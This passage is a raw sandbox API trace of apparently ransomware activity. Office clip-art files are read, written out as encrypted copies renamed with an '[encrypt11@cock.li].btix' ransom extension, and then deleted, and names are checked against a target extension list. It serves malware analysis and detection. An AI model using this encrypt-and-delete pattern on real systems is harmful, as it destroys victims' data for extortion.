nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.914] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.915] SetEndOfFile (hFile=0x364) returned 1 [0150.915] CloseHandle (hObject=0x364) returned 1 [0150.915] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.915] SetEndOfFile (hFile=0x374) returned 1 [0150.916] CloseHandle (hObject=0x374) returned 1 [0150.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString=".doc") returned 4 [0150.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.917] lstrlenW (lpString=".docx") returned 5 [0150.917] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0150.917] lstrlenW (lpString=".pdf") returned 4 [0150.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString=".xls") returned 4 [0150.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString=".xlsx") returned 5 [0150.917] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0150.917] lstrlenW (lpString=".ppt") returned 4 [0150.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString=".zip") returned 4 [0150.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString=".rar") returned 4 [0150.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString=".bz2") returned 4 [0150.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.917] lstrlenW (lpString=".7z") returned 3 [0150.917] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString=".dbf") returned 4 [0150.917] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString=".1cd") returned 4 [0150.917] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString=".jpg") returned 4 [0150.917] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.918] lstrlenW (lpString=".doc") returned 4 [0150.918] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.918] lstrlenW (lpString=".docx") returned 5 [0150.918] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0150.918] lstrlenW (lpString=".pdf") returned 4 [0150.918] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.918] lstrlenW (lpString=".xls") returned 4 [0150.918] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.918] lstrlenW (lpString=".xlsx") returned 5 [0150.918] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0150.918] lstrlenW (lpString=".ppt") returned 4 [0150.918] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.918] lstrlenW (lpString=".zip") returned 4 [0150.918] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.918] lstrlenW (lpString=".rar") returned 4 [0150.918] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.918] lstrlenW (lpString=".bz2") returned 4 [0150.918] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.918] lstrlenW (lpString=".7z") returned 3 [0150.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.918] lstrlenW (lpString=".dbf") returned 4 [0150.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.918] lstrlenW (lpString=".1cd") returned 4 [0150.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0150.918] lstrlenW (lpString=".jpg") returned 4 [0150.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.918] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.919] lstrlenW (lpString="J0099202.GIF") returned 12 [0150.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.919] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=4967) returned 1 [0150.919] CloseHandle (hObject=0x374) returned 1 [0150.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0150.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.919] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.919] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0150.920] GetLastError () returned 0x0 [0150.920] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1367, lpOverlapped=0x0) returned 1 [0150.921] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1370, lpOverlapped=0x0) returned 1 [0150.922] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.922] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.922] SetEndOfFile (hFile=0x364) returned 1 [0150.922] CloseHandle (hObject=0x364) returned 1 [0150.922] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.922] SetEndOfFile (hFile=0x374) returned 1 [0150.923] CloseHandle (hObject=0x374) returned 1 [0150.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0150.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.923] lstrlenW (lpString=".doc") returned 4 [0150.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.923] lstrlenW (lpString=".docx") returned 5 [0150.923] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0150.923] lstrlenW (lpString=".pdf") returned 4 [0150.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.923] lstrlenW (lpString=".xls") returned 4 [0150.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString=".xlsx") returned 5 [0150.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0150.924] lstrlenW (lpString=".ppt") returned 4 [0150.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString=".zip") returned 4 [0150.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString=".rar") returned 4 [0150.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString=".bz2") returned 4 [0150.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.924] lstrlenW (lpString=".7z") returned 3 [0150.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString=".dbf") returned 4 [0150.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString=".1cd") returned 4 [0150.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString=".jpg") returned 4 [0150.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.924] lstrlenW (lpString=".doc") returned 4 [0150.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.924] lstrlenW (lpString=".docx") returned 5 [0150.924] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0150.924] lstrlenW (lpString=".pdf") returned 4 [0150.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString=".xls") returned 4 [0150.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.924] lstrlenW (lpString=".xlsx") returned 5 [0150.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0150.925] lstrlenW (lpString=".ppt") returned 4 [0150.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.925] lstrlenW (lpString=".zip") returned 4 [0150.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.925] lstrlenW (lpString=".rar") returned 4 [0150.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.925] lstrlenW (lpString=".bz2") returned 4 [0150.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.925] lstrlenW (lpString=".7z") returned 3 [0150.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.925] lstrlenW (lpString=".dbf") returned 4 [0150.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.925] lstrlenW (lpString=".1cd") returned 4 [0150.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0150.925] lstrlenW (lpString=".jpg") returned 4 [0150.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.925] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0150.925] lstrlenW (lpString="J0099203.GIF") returned 12 [0150.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.925] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3904) returned 1 [0150.925] CloseHandle (hObject=0x374) returned 1 [0150.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0150.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.926] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.926] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0150.927] GetLastError () returned 0x0 [0150.927] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xf40, lpOverlapped=0x0) returned 1 [0150.928] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xf50, lpOverlapped=0x0) returned 1 [0150.929] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.929] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.929] SetEndOfFile (hFile=0x364) returned 1 [0150.929] CloseHandle (hObject=0x364) returned 1 [0150.929] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.929] SetEndOfFile (hFile=0x374) returned 1 [0150.930] CloseHandle (hObject=0x374) returned 1 [0150.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString=".doc") returned 4 [0150.931] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.931] lstrlenW (lpString=".docx") returned 5 [0150.931] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.931] lstrlenW (lpString=".pdf") returned 4 [0150.931] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.931] lstrlenW (lpString=".xls") returned 4 [0150.931] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.931] lstrlenW (lpString=".xlsx") returned 5 [0150.931] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.931] lstrlenW (lpString=".ppt") returned 4 [0150.931] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString=".zip") returned 4 [0150.931] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.931] lstrlenW (lpString=".rar") returned 4 [0150.931] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.931] lstrlenW (lpString=".bz2") returned 4 [0150.931] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.931] lstrlenW (lpString=".7z") returned 3 [0150.931] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString=".dbf") returned 4 [0150.931] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString=".1cd") returned 4 [0150.931] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.931] lstrlenW (lpString=".jpg") returned 4 [0150.932] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString=".doc") returned 4 [0150.932] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.932] lstrlenW (lpString=".docx") returned 5 [0150.932] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0150.932] lstrlenW (lpString=".pdf") returned 4 [0150.932] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString=".xls") returned 4 [0150.932] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString=".xlsx") returned 5 [0150.932] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0150.932] lstrlenW (lpString=".ppt") returned 4 [0150.932] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString=".zip") returned 4 [0150.932] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString=".rar") returned 4 [0150.932] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.932] lstrlenW (lpString=".bz2") returned 4 [0150.932] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.932] lstrlenW (lpString=".7z") returned 3 [0150.932] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString=".dbf") returned 4 [0150.932] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString=".1cd") returned 4 [0150.932] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0150.932] lstrlenW (lpString=".jpg") returned 4 [0150.932] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.933] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.933] lstrlenW (lpString="J0099204.WMF") returned 12 [0150.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.933] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=17854) returned 1 [0150.933] CloseHandle (hObject=0x374) returned 1 [0150.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0150.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0150.933] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.933] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0150.934] GetLastError () returned 0x0 [0150.934] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x45be, lpOverlapped=0x0) returned 1 [0150.935] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0150.937] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.937] WriteFile (in: hFile=0x364, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.937] SetEndOfFile (hFile=0x364) returned 1 [0150.937] CloseHandle (hObject=0x364) returned 1 [0150.937] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.937] 